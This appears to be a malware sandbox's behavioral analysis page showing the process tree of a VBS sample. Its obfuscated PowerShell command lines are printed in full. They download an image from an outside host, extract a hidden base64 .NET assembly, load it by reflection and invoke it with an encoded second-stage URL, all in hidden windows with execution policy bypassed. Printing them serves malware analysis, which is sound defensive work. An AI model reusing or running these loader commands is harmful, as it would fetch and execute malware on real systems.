| ZeroBOX

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\nigazxbb.vbs

    2040
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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cvBhRHYeBtGOxZmubUcvGcRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcv9RHYeBtGOxZmubUcvCRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvJwRHYeBtGOxZmubUcv8RHYeBtGOxZmubUcvDwRHYeBtGOxZmubUcvQgBBRHYeBtGOxZmubUcvFMRHYeBtGOxZmubUcvRQRHYeBtGOxZmubUcv2RHYeBtGOxZmubUcvDQRHYeBtGOxZmubUcvXwBTRHYeBtGOxZmubUcvFQRHYeBtGOxZmubUcvQQBSRHYeBtGOxZmubUcvFQRHYeBtGOxZmubUcvPgRHYeBtGOxZmubUcv+RHYeBtGOxZmubUcvCcRHYeBtGOxZmubUcvOwRHYeBtGOxZmubUcvkRHYeBtGOxZmubUcvGURHYeBtGOxZmubUcvbgBkRHYeBtGOxZmubUcvEYRHYeBtGOxZmubUcvbRHYeBtGOxZmubUcvBhRHYeBtGOxZmubUcvGcRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcv9RHYeBtGOxZmubUcvCRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvJwRHYeBtGOxZmubUcv8RHYeBtGOxZmubUcvDwRHYeBtGOxZmubUcvQgBBRHYeBtGOxZmubUcvFMRHYeBtGOxZmubUcvRQRHYeBtGOxZmubUcv2RHYeBtGOxZmubUcvDQRHYeBtGOxZmubUcvXwBFRHYeBtGOxZmubUcvE4RHYeBtGOxZmubUcvRRHYeBtGOxZmubUcvRHYeBtGOxZmubUcv+RHYeBtGOxZmubUcvD4RHYeBtGOxZmubUcvJwRHYeBtGOxZmubUcv7RHYeBtGOxZmubUcvCQRHYeBtGOxZmubUcvcwB0RHYeBtGOxZmubUcvGERHYeBtGOxZmubUcvcgB0RHYeBtGOxZmubUcvEkRHYeBtGOxZmubUcvbgBkRHYeBtGOxZmubUcvGURHYeBtGOxZmubUcveRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvD0RHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvkRHYeBtGOxZmubUcvGkRHYeBtGOxZmubUcvbQBhRHYeBtGOxZmubUcvGcRHYeBtGOxZmubUcvZQBURHYeBtGOxZmubUcvGURHYeBtGOxZmubUcveRHYeBtGOxZmubUcvB0RHYeBtGOxZmubUcvC4RHYeBtGOxZmubUcvSQBuRHYeBtGOxZmubUcvGQRHYeBtGOxZmubUcvZQB4RHYeBtGOxZmubUcvE8RHYeBtGOxZmubUcvZgRHYeBtGOxZmubUcvoRHYeBtGOxZmubUcvCQRHYeBtGOxZmubUcvcwB0RHYeBtGOxZmubUcvGERHYeBtGOxZmubUcvcgB0RHYeBtGOxZmubUcvEYRHYeBtGOxZmubUcvbRHYeBtGOxZmubUcvBhRHYeBtGOxZmubUcvGcRHYeBtGOxZmubUcvKQRHYeBtGOxZmubUcv7RHYeBtGOxZmubUcvCQRHYeBtGOxZmubUcvZQBuRHYeBtGOxZmubUcvGQRHYeBtGOxZmubUcvSQBuRHYeBtGOxZmubUcvGQRHYeBtGOxZmubUcvZQB4RHYeBtGOxZmubUcvCRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvPQRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCQRHYeBtGOxZmubUcvaQBtRHYeBtGOxZmubUcvGERHYeBtGOxZmubUcvZwBlRHYeBtGOxZmubUcvFQRHYeBtGOxZmubUcvZQB4RHYeBtGOxZmubUcvHQRHYeBtGOxZmubUcvLgBJRHYeBtGOxZmubUcvG4RHYeBtGOxZmubUcvZRHYeBtGOxZmubUcvBlRHYeBtGOxZmubUcvHgRHYeBtGOxZmubUcvTwBmRHYeBtGOxZmubUcvCgRHYeBtGOxZmubUcvJRHYeBtGOxZmubUcvBlRHYeBtGOxZmubUcvG4RHYeBtGOxZmubUcvZRHYeBtGOxZmubUcvBGRHYeBtGOxZmubUcvGwRHYeBtGOxZmubUcvYQBnRHYeBtGOxZmubUcvCkRHYeBtGOxZmubUcvOwRHYeBtGOxZmubUcvkRHYeBtGOxZmubUcvHMRHYeBtGOxZmubUcvdRHYeBtGOxZmubUcvBhRHYeBtGOxZmubUcvHIRHYeBtGOxZmubUcvdRHYeBtGOxZmubUcvBJRHYeBtGOxZmubUcvG4RHYeBtGOxZmubUcvZRHYeBtGOxZmubUcvBlRHYeBtGOxZmubUcvHgRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvtRHYeBtGOxZmubUcvGcRHYeBtGOxZmubUcvZQRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvDRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvtRHYeBtGOxZmubUcvGERHYeBtGOxZmubUcvbgBkRHYeBtGOxZmubUcvCRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvJRHYeBtGOxZmubUcvBlRHYeBtGOxZmubUcvG4RHYeBtGOxZmubUcvZRHYeBtGOxZmubUcvBJRHYeBtGOxZmubUcvG4RHYeBtGOxZmubUcvZRHYeBtGOxZmubUcvBlRHYeBtGOxZmubUcvHgRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvtRHYeBtGOxZmubUcvGcRHYeBtGOxZmubUcvdRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCQRHYeBtGOxZmubUcvcwB0RHYeBtGOxZmubUcvGERHYeBtGOxZmubUcvcgB0RHYeBtGOxZmubUcvEkRHYeBtGOxZmubUcvbgBkRHYeBtGOxZmubUcvGURHYeBtGOxZmubUcveRHYeBtGOxZmubUcvRHYeBtGOxZmubUcv7RHYeBtGOxZmubUcvCQRHYeBtGOxZmubUcvcwB0RHYeBtGOxZmubUcvGERHYeBtGOxZmubUcvcgB0RHYeBtGOxZmubUcvEkRHYeBtGOxZmubUcvbgBkRHYeBtGOxZmubUcvGURHYeBtGOxZmubUcveRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCsRHYeBtGOxZmubUcvPQRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCQRHYeBtGOxZmubUcvcwB0RHYeBtGOxZmubUcvGERHYeBtGOxZmubUcvcgB0RHYeBtGOxZmubUcvEYRHYeBtGOxZmubUcvbRHYeBtGOxZmubUcvBhRHYeBtGOxZmubUcvGcRHYeBtGOxZmubUcvLgBMRHYeBtGOxZmubUcvGURHYeBtGOxZmubUcvbgBnRHYeBtGOxZmubUcvHQRHYeBtGOxZmubUcvaRHYeBtGOxZmubUcvRHYeBtGOxZmubU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tGOxZmubUcvUgBvRHYeBtGOxZmubUcvCcRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvsRHYeBtGOxZmubUcvCRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvJwBkRHYeBtGOxZmubUcvGYRHYeBtGOxZmubUcvZRHYeBtGOxZmubUcvBmRHYeBtGOxZmubUcvGQRHYeBtGOxZmubUcvJwRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCwRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvnRHYeBtGOxZmubUcvGQRHYeBtGOxZmubUcvZgBkRHYeBtGOxZmubUcvGYRHYeBtGOxZmubUcvJwRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCwRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvnRHYeBtGOxZmubUcvGQRHYeBtGOxZmubUcvZgBkRHYeBtGOxZmubUcvGYRHYeBtGOxZmubUcvJwRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCwRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvnRHYeBtGOxZmubUcvGQRHYeBtGOxZmubUcvYQBkRHYeBtGOxZmubUcvHMRHYeBtGOxZmubUcvYQRHYeBtGOxZmubUcvnRHYeBtGOxZmubUcvCRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvLRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvgRHYeBtGOxZmubUcvCcRHYeBtGOxZmubUcvZRHYeBtGOxZmubUcvBlRHYeBtGOxZmubUcvCcRHYeBtGOxZmubUcvIRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvsRHYeBtGOxZmubUcvCRHYeBtGOxZmubUcvRHYeBtGOxZmubUcvJwBjRHYeBtGOxZmubUcvHURHYeBtGOxZmubUcvJwRHYeBtGOxZmubUcvpRHYeBtGOxZmubUcvCkRHYeBtGOxZmubUcv';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('RHYeBtGOxZmubUcv','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2152
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmJ4YWdpbi8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

        2284

Process contents

No process loaded Click on a process in the tree above to load its data.